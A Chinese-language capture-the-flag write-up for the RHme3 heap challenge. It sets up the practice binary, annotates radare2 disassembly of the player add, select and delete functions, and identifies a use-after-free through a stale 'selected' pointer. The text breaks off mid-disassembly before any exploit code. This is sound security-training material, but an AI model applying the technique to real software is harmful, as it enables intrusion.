mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
977 lines
49 KiB
Markdown
977 lines
49 KiB
Markdown
# 6.1.9 pwn RHme3 Exploitation
|
||
|
||
- [题目复现](#题目复现)
|
||
- [题目解析](#题目解析)
|
||
- [漏洞利用](#漏洞利用)
|
||
- [参考资料](#参考资料)
|
||
|
||
|
||
[下载文件](../src/writeup/6.1.9_pwn_rhme3_exploitation)
|
||
|
||
## 题目复现
|
||
这个题目给出了二进制文件和 libc。
|
||
```
|
||
$ file main.bin
|
||
main.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ec9db5ec0b8ad99b3b9b1b3b57e5536d1c615c8e, not stripped
|
||
$ checksec -f main.bin
|
||
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
|
||
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 10 main.bin
|
||
```
|
||
64 位程序,保护措施除了 PIE 都开启了。
|
||
|
||
但其实这个程序并不能运行,它是一个线下赛的题目,会对做一些环境检查和处理,直接 nop 掉就好了:
|
||
```
|
||
| 0x004021ad bf18264000 mov edi, 0x402618
|
||
| 0x004021b2 e87ceeffff call sym.background_process
|
||
| 0x004021b7 bf39050000 mov edi, 0x539 ; 1337
|
||
| 0x004021bc e85eefffff call sym.serve_forever
|
||
| 0x004021c1 8945f8 mov dword [local_8h], eax
|
||
| 0x004021c4 8b45f8 mov eax, dword [local_8h]
|
||
| 0x004021c7 89c7 mov edi, eax
|
||
| 0x004021c9 e8c6f0ffff call sym.set_io
|
||
```
|
||
```
|
||
$ python2 -c 'print "90"*33' > nop.txt
|
||
```
|
||
```
|
||
[0x00400ec0]> s 0x004021ad
|
||
[0x004021ad]> cat ./nop.txt
|
||
909090909090909090909090909090909090909090909090909090909090909090
|
||
[0x004021ad]> wxf ./nop.txt
|
||
```
|
||
|
||
最后把它运行起来:
|
||
```
|
||
socat tcp4-listen:10001,reuseaddr,fork exec:"env LD_PRELOAD=./libc.so.6 ./main.elf" &
|
||
```
|
||
|
||
|
||
## 题目解析
|
||
玩一下,一看就是堆利用的题目:
|
||
```
|
||
$ ./main.elf
|
||
Welcome to your TeamManager (TM)!
|
||
0.- Exit
|
||
1.- Add player
|
||
2.- Remove player
|
||
3.- Select player
|
||
4.- Edit player
|
||
5.- Show player
|
||
6.- Show team
|
||
Your choice:
|
||
```
|
||
程序就是添加、删除、编辑和显示球员信息。但要注意的是在编辑和显示球员前,需要先选择球员,这一点很重要。
|
||
|
||
添加两个球员看看:
|
||
```
|
||
Your choice: 1
|
||
Found free slot: 0
|
||
Enter player name: aaaa
|
||
Enter attack points: 1
|
||
Enter defense points: 2
|
||
Enter speed: 3
|
||
Enter precision: 4
|
||
0.- Exit
|
||
1.- Add player
|
||
2.- Remove player
|
||
3.- Select player
|
||
4.- Edit player
|
||
5.- Show player
|
||
6.- Show team
|
||
Your choice: 1
|
||
Found free slot: 1
|
||
Enter player name: bbbb
|
||
Enter attack points: 5
|
||
Enter defense points: 6
|
||
Enter speed: 7
|
||
Enter precision: 8
|
||
```
|
||
试着选中第一个球员,然后删除它:
|
||
```
|
||
Your choice: 3
|
||
Enter index: 0
|
||
Player selected!
|
||
Name: aaaa
|
||
A/D/S/P: 1,2,3,4
|
||
0.- Exit
|
||
1.- Add player
|
||
2.- Remove player
|
||
3.- Select player
|
||
4.- Edit player
|
||
5.- Show player
|
||
6.- Show team
|
||
Your choice: 2
|
||
Enter index: 0
|
||
She's gone!
|
||
```
|
||
接下来直接显示该球员信息:
|
||
```
|
||
Your choice: 5
|
||
Name:
|
||
A/D/S/P: 29082240,0,3,4
|
||
0.- Exit
|
||
1.- Add player
|
||
2.- Remove player
|
||
3.- Select player
|
||
4.- Edit player
|
||
5.- Show player
|
||
6.- Show team
|
||
Your choice: 6
|
||
Your team:
|
||
Player 0
|
||
Name: bbbb
|
||
A/D/S/P: 5,6,7,8
|
||
```
|
||
奇怪的事情发生了,程序没有提醒我们球员不存在,而是直接读取了内存中的信息。
|
||
|
||
于是我们猜测,程序在 free 球员时没有将 select 的值置空,导致了 use-after-free 的问题。关于 UAF 已经在前面的章节中讲过了。
|
||
|
||
很明显,每个球员都是一个下面这样的结构体:
|
||
```c
|
||
struct player {
|
||
int32_t attack_pts;
|
||
int32_t defense_pts;
|
||
int32_t speed;
|
||
int32_t precision;
|
||
char *name;
|
||
}
|
||
```
|
||
|
||
#### 静态分析
|
||
先来看一下添加球员的过程,函数 `sym.add_player`:
|
||
```
|
||
[0x00400ec0]> pdf @ sym.add_player
|
||
/ (fcn) sym.add_player 789
|
||
| sym.add_player ();
|
||
| ; var int local_11ch @ rbp-0x11c
|
||
| ; var int local_118h @ rbp-0x118
|
||
| ; var int local_110h @ rbp-0x110
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; CALL XREF from 0x00402235 (main + 148)
|
||
| 0x00401801 55 push rbp
|
||
| 0x00401802 4889e5 mov rbp, rsp
|
||
| 0x00401805 4881ec200100. sub rsp, 0x120
|
||
| 0x0040180c 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
||
| 0x00401815 488945f8 mov qword [local_8h], rax
|
||
| 0x00401819 31c0 xor eax, eax
|
||
| 0x0040181b 48c785e8feff. mov qword [local_118h], 0
|
||
| 0x00401826 c785e4feffff. mov dword [local_11ch], 0 ; player 编号初始值为 0
|
||
| ,=< 0x00401830 eb07 jmp 0x401839
|
||
| | ; JMP XREF from 0x00401853 (sym.add_player)
|
||
| .--> 0x00401832 8385e4feffff. add dword [local_11ch], 1 ; 编号加 1
|
||
| :| ; JMP XREF from 0x00401830 (sym.add_player)
|
||
| :`-> 0x00401839 83bde4feffff. cmp dword [local_11ch], 0xa ; [0xa:4]=-1 ; 10
|
||
| :,=< 0x00401840 7713 ja 0x401855
|
||
| :| 0x00401842 8b85e4feffff mov eax, dword [local_11ch]
|
||
| :| 0x00401848 488b04c58031. mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0
|
||
| :| 0x00401850 4885c0 test rax, rax
|
||
| `==< 0x00401853 75dd jne 0x401832
|
||
| | ; JMP XREF from 0x00401840 (sym.add_player)
|
||
| `-> 0x00401855 83bde4feffff. cmp dword [local_11ch], 0xb ; [0xb:4]=-1 ; 11
|
||
| ,=< 0x0040185c 751e jne 0x40187c
|
||
| | 0x0040185e bf70244000 mov edi, str.Maximum_number_of_players_reached ; 0x402470 ; "Maximum number of players reached!"
|
||
| | 0x00401863 e818f4ffff call sym.imp.puts ; int puts(const char *s)
|
||
| | 0x00401868 488b05f11820. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| | 0x0040186f 4889c7 mov rdi, rax
|
||
| | 0x00401872 e849f5ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| ,==< 0x00401877 e984020000 jmp 0x401b00
|
||
| || ; JMP XREF from 0x0040185c (sym.add_player)
|
||
| |`-> 0x0040187c 8b85e4feffff mov eax, dword [local_11ch]
|
||
| | 0x00401882 89c6 mov esi, eax
|
||
| | 0x00401884 bf93244000 mov edi, str.Found_free_slot:__d ; 0x402493 ; "Found free slot: %d\n"
|
||
| | 0x00401889 b800000000 mov eax, 0
|
||
| | 0x0040188e e86df4ffff call sym.imp.printf ; int printf(const char *format)
|
||
| | 0x00401893 488b05c61820. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| | 0x0040189a 4889c7 mov rdi, rax
|
||
| | 0x0040189d e81ef5ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| | 0x004018a2 bf18000000 mov edi, 0x18 ; 24
|
||
| | 0x004018a7 e804f5ffff call sym.imp.malloc ; void *malloc(size_t size) ; 第一个 malloc,给 player 结构体分配空间
|
||
| | 0x004018ac 488985e8feff. mov qword [local_118h], rax ; 返回地址 rax -> [local_118h]
|
||
| | 0x004018b3 4883bde8feff. cmp qword [local_118h], 0
|
||
| |,=< 0x004018bb 751e jne 0x4018db
|
||
| || 0x004018bd bfa8244000 mov edi, 0x4024a8
|
||
| || 0x004018c2 e8b9f3ffff call sym.imp.puts ; int puts(const char *s)
|
||
| || 0x004018c7 488b05921820. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| || 0x004018ce 4889c7 mov rdi, rax
|
||
| || 0x004018d1 e8eaf4ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| ,===< 0x004018d6 e925020000 jmp 0x401b00
|
||
| ||| ; JMP XREF from 0x004018bb (sym.add_player)
|
||
| ||`-> 0x004018db 488b85e8feff. mov rax, qword [local_118h]
|
||
| || 0x004018e2 ba18000000 mov edx, 0x18 ; 24
|
||
| || 0x004018e7 be00000000 mov esi, 0
|
||
| || 0x004018ec 4889c7 mov rdi, rax
|
||
| || 0x004018ef e82cf4ffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
|
||
| || 0x004018f4 bfbb244000 mov edi, str.Enter_player_name: ; 0x4024bb ; "Enter player name: "
|
||
| || 0x004018f9 b800000000 mov eax, 0
|
||
| || 0x004018fe e8fdf3ffff call sym.imp.printf ; int printf(const char *format)
|
||
| || 0x00401903 488b05561820. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| || 0x0040190a 4889c7 mov rdi, rax
|
||
| || 0x0040190d e8aef4ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| || 0x00401912 488d85f0feff. lea rax, rbp - 0x110
|
||
| || 0x00401919 ba00010000 mov edx, 0x100 ; 256
|
||
| || 0x0040191e be00000000 mov esi, 0
|
||
| || 0x00401923 4889c7 mov rdi, rax
|
||
| || 0x00401926 e8f5f3ffff call sym.imp.memset ; void *memset(void *s, int c, size_t n)
|
||
| || 0x0040192b 488d85f0feff. lea rax, rbp - 0x110
|
||
| || 0x00401932 be00010000 mov esi, 0x100 ; 256
|
||
| || 0x00401937 4889c7 mov rdi, rax
|
||
| || 0x0040193a e884fbffff call sym.readline
|
||
| || 0x0040193f 488d85f0feff. lea rax, rbp - 0x110 ; 读入字符串到 rbp - 0x110
|
||
| || 0x00401946 4889c7 mov rdi, rax
|
||
| || 0x00401949 e852f3ffff call sym.imp.strlen ; size_t strlen(const char *s) ; player.name 长度
|
||
| || 0x0040194e 4883c001 add rax, 1 ; 长度加 1
|
||
| || 0x00401952 4889c7 mov rdi, rax
|
||
| || 0x00401955 e856f4ffff call sym.imp.malloc ; void *malloc(size_t size) ; 第二个 malloc,给 player.name 分配空间
|
||
| || 0x0040195a 4889c2 mov rdx, rax ; 返回地址 rax -> rdx
|
||
| || 0x0040195d 488b85e8feff. mov rax, qword [local_118h] ; player 结构体 [local_118h] -> rax
|
||
| || 0x00401964 48895010 mov qword [rax + 0x10], rdx ; player.name 存放到 [rax + 0x10]
|
||
| || 0x00401968 488b85e8feff. mov rax, qword [local_118h]
|
||
| || 0x0040196f 488b4010 mov rax, qword [rax + 0x10] ;
|
||
| || 0x00401973 4885c0 test rax, rax
|
||
| ||,=< 0x00401976 7523 jne 0x40199b
|
||
| ||| 0x00401978 bfcf244000 mov edi, str.Could_not_allocate ; 0x4024cf ; "Could not allocate!"
|
||
| ||| 0x0040197d b800000000 mov eax, 0
|
||
| ||| 0x00401982 e879f3ffff call sym.imp.printf ; int printf(const char *format)
|
||
| ||| 0x00401987 488b05d21720. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| ||| 0x0040198e 4889c7 mov rdi, rax
|
||
| ||| 0x00401991 e82af4ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| ,====< 0x00401996 e965010000 jmp 0x401b00
|
||
| |||| ; JMP XREF from 0x00401976 (sym.add_player)
|
||
| |||`-> 0x0040199b 488b85e8feff. mov rax, qword [local_118h]
|
||
| ||| 0x004019a2 488b4010 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; 取出 player.name 到 rax
|
||
| ||| 0x004019a6 488d95f0feff. lea rdx, rbp - 0x110 ; 取出 payler.name 字符串地址到 rdx
|
||
| ||| 0x004019ad 4889d6 mov rsi, rdx ; rdx -> rsi
|
||
| ||| 0x004019b0 4889c7 mov rdi, rax ; rax -> rdi
|
||
| ||| 0x004019b3 e8b8f2ffff call sym.imp.strcpy ; char *strcpy(char *dest, const char *src) ; 将字符串复制到 player.name 指向的地址
|
||
| ||| 0x004019b8 bfe3244000 mov edi, str.Enter_attack_points: ; 0x4024e3 ; "Enter attack points: "
|
||
| ||| 0x004019bd b800000000 mov eax, 0
|
||
| ||| 0x004019c2 e839f3ffff call sym.imp.printf ; int printf(const char *format)
|
||
| ||| 0x004019c7 488b05921720. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| ||| 0x004019ce 4889c7 mov rdi, rax
|
||
| ||| 0x004019d1 e8eaf3ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| ||| 0x004019d6 488d85f0feff. lea rax, rbp - 0x110
|
||
| ||| 0x004019dd be04000000 mov esi, 4
|
||
| ||| 0x004019e2 4889c7 mov rdi, rax
|
||
| ||| 0x004019e5 e8d9faffff call sym.readline ; 读入 attack_pts
|
||
| ||| 0x004019ea 488d85f0feff. lea rax, rbp - 0x110
|
||
| ||| 0x004019f1 4889c7 mov rdi, rax
|
||
| ||| 0x004019f4 e847f4ffff call sym.imp.atoi ; int atoi(const char *str)
|
||
| ||| 0x004019f9 89c2 mov edx, eax
|
||
| ||| 0x004019fb 488b85e8feff. mov rax, qword [local_118h]
|
||
| ||| 0x00401a02 8910 mov dword [rax], edx ; 将 attack_pts 写入 local_118h
|
||
| ||| 0x00401a04 bff9244000 mov edi, str.Enter_defense_points: ; 0x4024f9 ; "Enter defense points: "
|
||
| ||| 0x00401a09 b800000000 mov eax, 0
|
||
| ||| 0x00401a0e e8edf2ffff call sym.imp.printf ; int printf(const char *format)
|
||
| ||| 0x00401a13 488b05461720. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| ||| 0x00401a1a 4889c7 mov rdi, rax
|
||
| ||| 0x00401a1d e89ef3ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| ||| 0x00401a22 488d85f0feff. lea rax, rbp - 0x110
|
||
| ||| 0x00401a29 be04000000 mov esi, 4
|
||
| ||| 0x00401a2e 4889c7 mov rdi, rax
|
||
| ||| 0x00401a31 e88dfaffff call sym.readline ; 读入 defense_pts
|
||
| ||| 0x00401a36 488d85f0feff. lea rax, rbp - 0x110
|
||
| ||| 0x00401a3d 4889c7 mov rdi, rax
|
||
| ||| 0x00401a40 e8fbf3ffff call sym.imp.atoi ; int atoi(const char *str)
|
||
| ||| 0x00401a45 89c2 mov edx, eax
|
||
| ||| 0x00401a47 488b85e8feff. mov rax, qword [local_118h]
|
||
| ||| 0x00401a4e 895004 mov dword [rax + 4], edx ; 将 defense_pts 写入 local_118h + 4
|
||
| ||| 0x00401a51 bf10254000 mov edi, str.Enter_speed: ; 0x402510 ; "Enter speed: "
|
||
| ||| 0x00401a56 b800000000 mov eax, 0
|
||
| ||| 0x00401a5b e8a0f2ffff call sym.imp.printf ; int printf(const char *format)
|
||
| ||| 0x00401a60 488b05f91620. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| ||| 0x00401a67 4889c7 mov rdi, rax
|
||
| ||| 0x00401a6a e851f3ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| ||| 0x00401a6f 488d85f0feff. lea rax, rbp - 0x110
|
||
| ||| 0x00401a76 be04000000 mov esi, 4
|
||
| ||| 0x00401a7b 4889c7 mov rdi, rax
|
||
| ||| 0x00401a7e e840faffff call sym.readline ; 读入 speed
|
||
| ||| 0x00401a83 488d85f0feff. lea rax, rbp - 0x110
|
||
| ||| 0x00401a8a 4889c7 mov rdi, rax
|
||
| ||| 0x00401a8d e8aef3ffff call sym.imp.atoi ; int atoi(const char *str)
|
||
| ||| 0x00401a92 89c2 mov edx, eax
|
||
| ||| 0x00401a94 488b85e8feff. mov rax, qword [local_118h]
|
||
| ||| 0x00401a9b 895008 mov dword [rax + 8], edx ; 将 speed 写入 local_118 + 8
|
||
| ||| 0x00401a9e bf1e254000 mov edi, str.Enter_precision: ; 0x40251e ; "Enter precision: "
|
||
| ||| 0x00401aa3 b800000000 mov eax, 0
|
||
| ||| 0x00401aa8 e853f2ffff call sym.imp.printf ; int printf(const char *format)
|
||
| ||| 0x00401aad 488b05ac1620. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| ||| 0x00401ab4 4889c7 mov rdi, rax
|
||
| ||| 0x00401ab7 e804f3ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| ||| 0x00401abc 488d85f0feff. lea rax, rbp - 0x110
|
||
| ||| 0x00401ac3 be04000000 mov esi, 4
|
||
| ||| 0x00401ac8 4889c7 mov rdi, rax
|
||
| ||| 0x00401acb e8f3f9ffff call sym.readline ; 读入 precision
|
||
| ||| 0x00401ad0 488d85f0feff. lea rax, rbp - 0x110
|
||
| ||| 0x00401ad7 4889c7 mov rdi, rax
|
||
| ||| 0x00401ada e861f3ffff call sym.imp.atoi ; int atoi(const char *str)
|
||
| ||| 0x00401adf 89c2 mov edx, eax
|
||
| ||| 0x00401ae1 488b85e8feff. mov rax, qword [local_118h]
|
||
| ||| 0x00401ae8 89500c mov dword [rax + 0xc], edx ; 将 precision 写入 local_118h + 0xc
|
||
| ||| 0x00401aeb 8b85e4feffff mov eax, dword [local_11ch] ; player 编号
|
||
| ||| 0x00401af1 488b95e8feff. mov rdx, qword [local_118h] ; player 结构体
|
||
| ||| 0x00401af8 488914c58031. mov qword [rax*8 + obj.players], rdx ; [0x603180:8]=0 ; 当前 player 结构体地址写入 rax*8 + obj.players
|
||
| ||| ; JMP XREF from 0x00401996 (sym.add_player)
|
||
| ||| ; JMP XREF from 0x004018d6 (sym.add_player)
|
||
| ||| ; JMP XREF from 0x00401877 (sym.add_player)
|
||
| ```--> 0x00401b00 488b45f8 mov rax, qword [local_8h]
|
||
| 0x00401b04 644833042528. xor rax, qword fs:[0x28]
|
||
| ,=< 0x00401b0d 7405 je 0x401b14
|
||
| | 0x00401b0f e8acf1ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||
| | ; JMP XREF from 0x00401b0d (sym.add_player)
|
||
| `-> 0x00401b14 c9 leave
|
||
\ 0x00401b15 c3 ret
|
||
```
|
||
该函数会做一些基本的检查,如球员最大数量等,然后开始添加球员的过程。根据我们的分析,`obj.players` 应该是一个全局数组,用于存放所有球员的地址。
|
||
```
|
||
[0x00400ec0]> is~players
|
||
vaddr=0x00603180 paddr=0x00003180 ord=090 fwd=NONE sz=88 bind=GLOBAL type=OBJECT name=players
|
||
```
|
||
当球员添加完成后,就将其结构体地址添加到这个数组中。球员的选择过程就是通过这个数组完成的。
|
||
|
||
下面是选择球员的过程,函数 `sym.select_player`:
|
||
```
|
||
[0x00400ec0]> pdf @ sym.select_player
|
||
/ (fcn) sym.select_player 214
|
||
| sym.select_player ();
|
||
| ; var int local_14h @ rbp-0x14
|
||
| ; var int local_10h @ rbp-0x10
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; CALL XREF from 0x0040224d (main + 172)
|
||
| 0x00401c05 55 push rbp
|
||
| 0x00401c06 4889e5 mov rbp, rsp
|
||
| 0x00401c09 4883ec20 sub rsp, 0x20
|
||
| 0x00401c0d 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
||
| 0x00401c16 488945f8 mov qword [local_8h], rax
|
||
| 0x00401c1a 31c0 xor eax, eax
|
||
| 0x00401c1c bf30254000 mov edi, str.Enter_index: ; 0x402530 ; "Enter index: "
|
||
| 0x00401c21 b800000000 mov eax, 0
|
||
| 0x00401c26 e8d5f0ffff call sym.imp.printf ; int printf(const char *format)
|
||
| 0x00401c2b 488b052e1520. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| 0x00401c32 4889c7 mov rdi, rax
|
||
| 0x00401c35 e886f1ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| 0x00401c3a 488d45f0 lea rax, rbp - 0x10
|
||
| 0x00401c3e be04000000 mov esi, 4
|
||
| 0x00401c43 4889c7 mov rdi, rax
|
||
| 0x00401c46 e878f8ffff call sym.readline ; 读入球员编号
|
||
| 0x00401c4b 488d45f0 lea rax, rbp - 0x10
|
||
| 0x00401c4f 4889c7 mov rdi, rax
|
||
| 0x00401c52 e8e9f1ffff call sym.imp.atoi ; int atoi(const char *str)
|
||
| 0x00401c57 8945ec mov dword [local_14h], eax ; 编号 eax -> [local_14h]
|
||
| 0x00401c5a 837dec0a cmp dword [local_14h], 0xa ; [0xa:4]=-1 ; 10
|
||
| ,=< 0x00401c5e 7710 ja 0x401c70
|
||
| | 0x00401c60 8b45ec mov eax, dword [local_14h]
|
||
| | 0x00401c63 488b04c58031. mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0
|
||
| | 0x00401c6b 4885c0 test rax, rax
|
||
| ,==< 0x00401c6e 751b jne 0x401c8b
|
||
| || ; JMP XREF from 0x00401c5e (sym.select_player)
|
||
| |`-> 0x00401c70 bf3e254000 mov edi, str.Invalid_index ; 0x40253e ; "Invalid index"
|
||
| | 0x00401c75 e806f0ffff call sym.imp.puts ; int puts(const char *s)
|
||
| | 0x00401c7a 488b05df1420. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| | 0x00401c81 4889c7 mov rdi, rax
|
||
| | 0x00401c84 e837f1ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| |,=< 0x00401c89 eb3a jmp 0x401cc5
|
||
| || ; JMP XREF from 0x00401c6e (sym.select_player)
|
||
| `--> 0x00401c8b 8b45ec mov eax, dword [local_14h] ; 取出编号 [local_14h] -> eax
|
||
| | 0x00401c8e 488b04c58031. mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0 ; 找到编号对应的球员地址
|
||
| | 0x00401c96 488905d31420. mov qword [obj.selected], rax ; [0x603170:8]=0 ; 将地址写入 [obj.selected]
|
||
| | 0x00401c9d bf58254000 mov edi, str.Player_selected ; 0x402558 ; "Player selected!"
|
||
| | 0x00401ca2 e8d9efffff call sym.imp.puts ; int puts(const char *s)
|
||
| | 0x00401ca7 488b05b21420. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| | 0x00401cae 4889c7 mov rdi, rax
|
||
| | 0x00401cb1 e80af1ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| | 0x00401cb6 488b05b31420. mov rax, qword [obj.selected] ; [0x603170:8]=0 ; 取出球员地址
|
||
| | 0x00401cbd 4889c7 mov rdi, rax ; rax -> rdi
|
||
| | 0x00401cc0 e8c6faffff call sym.show_player_func ; 调用函数 sym.show_player_func 打印出球员信息
|
||
| | ; JMP XREF from 0x00401c89 (sym.select_player)
|
||
| `-> 0x00401cc5 488b45f8 mov rax, qword [local_8h]
|
||
| 0x00401cc9 644833042528. xor rax, qword fs:[0x28]
|
||
| ,=< 0x00401cd2 7405 je 0x401cd9
|
||
| | 0x00401cd4 e8e7efffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||
| | ; JMP XREF from 0x00401cd2 (sym.select_player)
|
||
| `-> 0x00401cd9 c9 leave
|
||
\ 0x00401cda c3 ret
|
||
```
|
||
对象 `obj.selected` 是一个全局变量,用于存放选择的球员编号。
|
||
```
|
||
[0x00400ec0]> is~selected
|
||
vaddr=0x00603170 paddr=0x00003170 ord=095 fwd=NONE sz=8 bind=GLOBAL type=OBJECT name=selected
|
||
```
|
||
选中球员之后,打印球员信息的操作就是通过从 `obj.selected` 中获取球员地址实现的。
|
||
|
||
下面是删除球员的过程,函数 `sym.delete_player`:
|
||
```
|
||
[0x00400ec0]> pdf @ sym.delete_player
|
||
/ (fcn) sym.delete_player 239
|
||
| sym.delete_player ();
|
||
| ; var int local_1ch @ rbp-0x1c
|
||
| ; var int local_18h @ rbp-0x18
|
||
| ; var int local_10h @ rbp-0x10
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; CALL XREF from 0x00402241 (main + 160)
|
||
| 0x00401b16 55 push rbp
|
||
| 0x00401b17 4889e5 mov rbp, rsp
|
||
| 0x00401b1a 4883ec20 sub rsp, 0x20
|
||
| 0x00401b1e 64488b042528. mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
|
||
| 0x00401b27 488945f8 mov qword [local_8h], rax
|
||
| 0x00401b2b 31c0 xor eax, eax
|
||
| 0x00401b2d bf30254000 mov edi, str.Enter_index: ; 0x402530 ; "Enter index: "
|
||
| 0x00401b32 b800000000 mov eax, 0
|
||
| 0x00401b37 e8c4f1ffff call sym.imp.printf ; int printf(const char *format)
|
||
| 0x00401b3c 488b051d1620. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| 0x00401b43 4889c7 mov rdi, rax
|
||
| 0x00401b46 e875f2ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| 0x00401b4b 488d45f0 lea rax, rbp - 0x10
|
||
| 0x00401b4f be04000000 mov esi, 4
|
||
| 0x00401b54 4889c7 mov rdi, rax
|
||
| 0x00401b57 e867f9ffff call sym.readline ; 读入球员编号
|
||
| 0x00401b5c 488d45f0 lea rax, rbp - 0x10
|
||
| 0x00401b60 4889c7 mov rdi, rax
|
||
| 0x00401b63 e8d8f2ffff call sym.imp.atoi ; int atoi(const char *str)
|
||
| 0x00401b68 8945e4 mov dword [local_1ch], eax ; 编号 eax -> [local_1ch]
|
||
| 0x00401b6b 837de40a cmp dword [local_1ch], 0xa ; [0xa:4]=-1 ; 10
|
||
| ,=< 0x00401b6f 7710 ja 0x401b81
|
||
| | 0x00401b71 8b45e4 mov eax, dword [local_1ch]
|
||
| | 0x00401b74 488b04c58031. mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0
|
||
| | 0x00401b7c 4885c0 test rax, rax
|
||
| ,==< 0x00401b7f 751b jne 0x401b9c
|
||
| || ; JMP XREF from 0x00401b6f (sym.delete_player)
|
||
| |`-> 0x00401b81 bf3e254000 mov edi, str.Invalid_index ; 0x40253e ; "Invalid index"
|
||
| | 0x00401b86 e8f5f0ffff call sym.imp.puts ; int puts(const char *s)
|
||
| | 0x00401b8b 488b05ce1520. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| | 0x00401b92 4889c7 mov rdi, rax
|
||
| | 0x00401b95 e826f2ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| |,=< 0x00401b9a eb53 jmp 0x401bef
|
||
| || ; JMP XREF from 0x00401b7f (sym.delete_player)
|
||
| `--> 0x00401b9c 8b45e4 mov eax, dword [local_1ch] ; 取出编号 [local_1ch] -> eax
|
||
| | 0x00401b9f 488b04c58031. mov rax, qword [rax*8 + obj.players] ; [0x603180:8]=0 ; 找到编号对应的球员地址
|
||
| | 0x00401ba7 488945e8 mov qword [local_18h], rax ; 将球员地址 rax 放入 [local_18h]
|
||
| | 0x00401bab 8b45e4 mov eax, dword [local_1ch] ; 取出编号 [local_1ch] -> eax
|
||
| | 0x00401bae 48c704c58031. mov qword [rax*8 + obj.players], 0 ; [0x603180:8]=0 ; 将 players 数组中的对应值置零
|
||
| | 0x00401bba 488b45e8 mov rax, qword [local_18h] ; 将球员地址 [local_18h] 放回 rax
|
||
| | 0x00401bbe 488b4010 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; 取出 player.name 指向的字符串
|
||
| | 0x00401bc2 4889c7 mov rdi, rax ; 字符串地址 rax -> rdi
|
||
| | 0x00401bc5 e886f0ffff call sym.imp.free ; void free(void *ptr) ; 调用函数 free 释放球员名字
|
||
| | 0x00401bca 488b45e8 mov rax, qword [local_18h] ; 将球员地址 [local_18h] 放回 rax
|
||
| | 0x00401bce 4889c7 mov rdi, rax ; 球员地址 rax -> rdi
|
||
| | 0x00401bd1 e87af0ffff call sym.imp.free ; void free(void *ptr) ; 调用函数 free 释放球员结构体
|
||
| | 0x00401bd6 bf4c254000 mov edi, str.She_s_gone ; 0x40254c ; "She's gone!"
|
||
| | 0x00401bdb e8a0f0ffff call sym.imp.puts ; int puts(const char *s)
|
||
| | 0x00401be0 488b05791520. mov rax, qword [obj.stdout] ; [0x603160:8]=0
|
||
| | 0x00401be7 4889c7 mov rdi, rax
|
||
| | 0x00401bea e8d1f1ffff call sym.imp.fflush ; int fflush(FILE *stream)
|
||
| | ; JMP XREF from 0x00401b9a (sym.delete_player)
|
||
| `-> 0x00401bef 488b45f8 mov rax, qword [local_8h]
|
||
| 0x00401bf3 644833042528. xor rax, qword fs:[0x28]
|
||
| ,=< 0x00401bfc 7405 je 0x401c03
|
||
| | 0x00401bfe e8bdf0ffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|
||
| | ; JMP XREF from 0x00401bfc (sym.delete_player)
|
||
| `-> 0x00401c03 c9 leave
|
||
\ 0x00401c04 c3 ret
|
||
```
|
||
该函数首先释放掉球员的名字,然后释放掉球员的结构体。却没有对 `obj.selected` 做任何修改,而该对象中存放的是选中球员的地址,这就存在一个逻辑漏洞,如果我们在释放球员之前选中该球员,则可以继续使用这个指针对内存进行操作,即 UAF 漏洞。
|
||
|
||
最后看一下显示球员信息的过程,函数 `sym.show_player`:
|
||
```
|
||
[0x00400ec0]> pdf @ sym.show_player
|
||
/ (fcn) sym.show_player 99
|
||
| sym.show_player ();
|
||
| ; var int local_8h @ rbp-0x8
|
||
| ; CALL XREF from 0x00402265 (main + 196)
|
||
| 0x004020b4 55 push rbp
|
||
| 0x004020b5 4889e5 mov rbp, rsp
|
||
